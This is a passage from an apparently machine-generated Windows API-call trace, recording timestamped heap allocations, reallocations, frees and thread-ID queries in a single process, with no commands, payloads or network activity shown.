(HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0278 [0073.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20048 [0073.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0073.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b200 [0073.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b210 [0073.346] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b200, Size=0x14) returned 0x2a71840 [0073.346] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71840, Size=0x24) returned 0x2a1ff58 [0073.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b210 | out: hHeap=0x2ad0000) returned 1 [0073.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0073.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20048 | out: hHeap=0x2ad0000) returned 1 [0073.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0898 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa75d8 [0073.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0898 | out: hHeap=0x2ad0000) returned 1 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.347] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a71620 [0073.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0073.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x542) returned 0x2ab1d40 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b130 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71840 [0073.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0a0 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.348] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0a0, Size=0x14) returned 0x2a717a0 [0073.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b130 | out: hHeap=0x2ad0000) returned 1 [0073.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18130 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1d0 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b130 [0073.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.348] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b130, Size=0x14) returned 0x2a71620 [0073.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1d0 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x205) returned 0x2acd9e0 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0d30 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaf328 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b130 [0073.349] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b080, Size=0x14) returned 0x2a71620 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b130 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaf1a0 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b130 [0073.349] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a716e0 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b130 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0eb8 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa69c8 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0eb8 | out: hHeap=0x2ad0000) returned 1 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1c0 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.350] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b1c0, Size=0x14) returned 0x2a71840 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aafad0 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.350] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a717a0 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18028 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0588 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa57b0 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0588 | out: hHeap=0x2ad0000) returned 1 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71900 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.351] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b080, Size=0x14) returned 0x2a71660 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aafde0 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71840 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0a0 [0073.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.351] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0a0, Size=0x14) returned 0x2a71880 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaf948 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71620 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0a0 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.352] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0a0, Size=0x14) returned 0x2a71660 [0073.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaf638 [0073.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x2b62f78 [0073.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa5db8 [0073.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aaf638 | out: hHeap=0x2ad0000) returned 1 [0073.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71880 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1d0 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.354] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b1d0, Size=0x14) returned 0x2a717a0 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.354] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18268, Size=0x20) returned 0x2a1fb50 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0588 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aaa010 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab0588 | out: hHeap=0x2ad0000) returned 1 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b130 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71620 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.354] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a717a0 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b130 | out: hHeap=0x2ad0000) returned 1 [0073.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x51e) returned 0x2ab2290 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaf638 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1c0 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0a0 [0073.355] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b1c0, Size=0x14) returned 0x2a71880 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0a0 | out: hHeap=0x2ad0000) returned 1 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2ab27b8 [0073.355] GetCurrentThreadId () returned 0x9b0 [0073.355] GetCurrentThreadId () returned 0x9b0 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.355] GetCurrentThreadId () returned 0x9b0 [0073.355] GetCurrentThreadId () returned 0x9b0 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.355] GetCurrentThreadId () returned 0x9b0 [0073.355] GetCurrentThreadId () returned 0x9b0 [0073.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.356] GetCurrentThreadId () returned 0x9b0 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aaac20 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab00f0 | out: hHeap=0x2ad0000) returned 1 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x542) returned 0x2ab2ac0 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x52e) returned 0x2ab3010 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71660 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b200 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.356] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b200, Size=0x14) returned 0x2a71580 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18268 [0073.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.356] GetCurrentThreadId () returned 0x9b0 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0710 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18268 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71900 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71840 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18280 [0073.357] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a717a0 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.357] GetCurrentThreadId () returned 0x9b0 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab00f0 [0073.357] RtlAllocateHeap (HeapHandle=0x2ad0000, 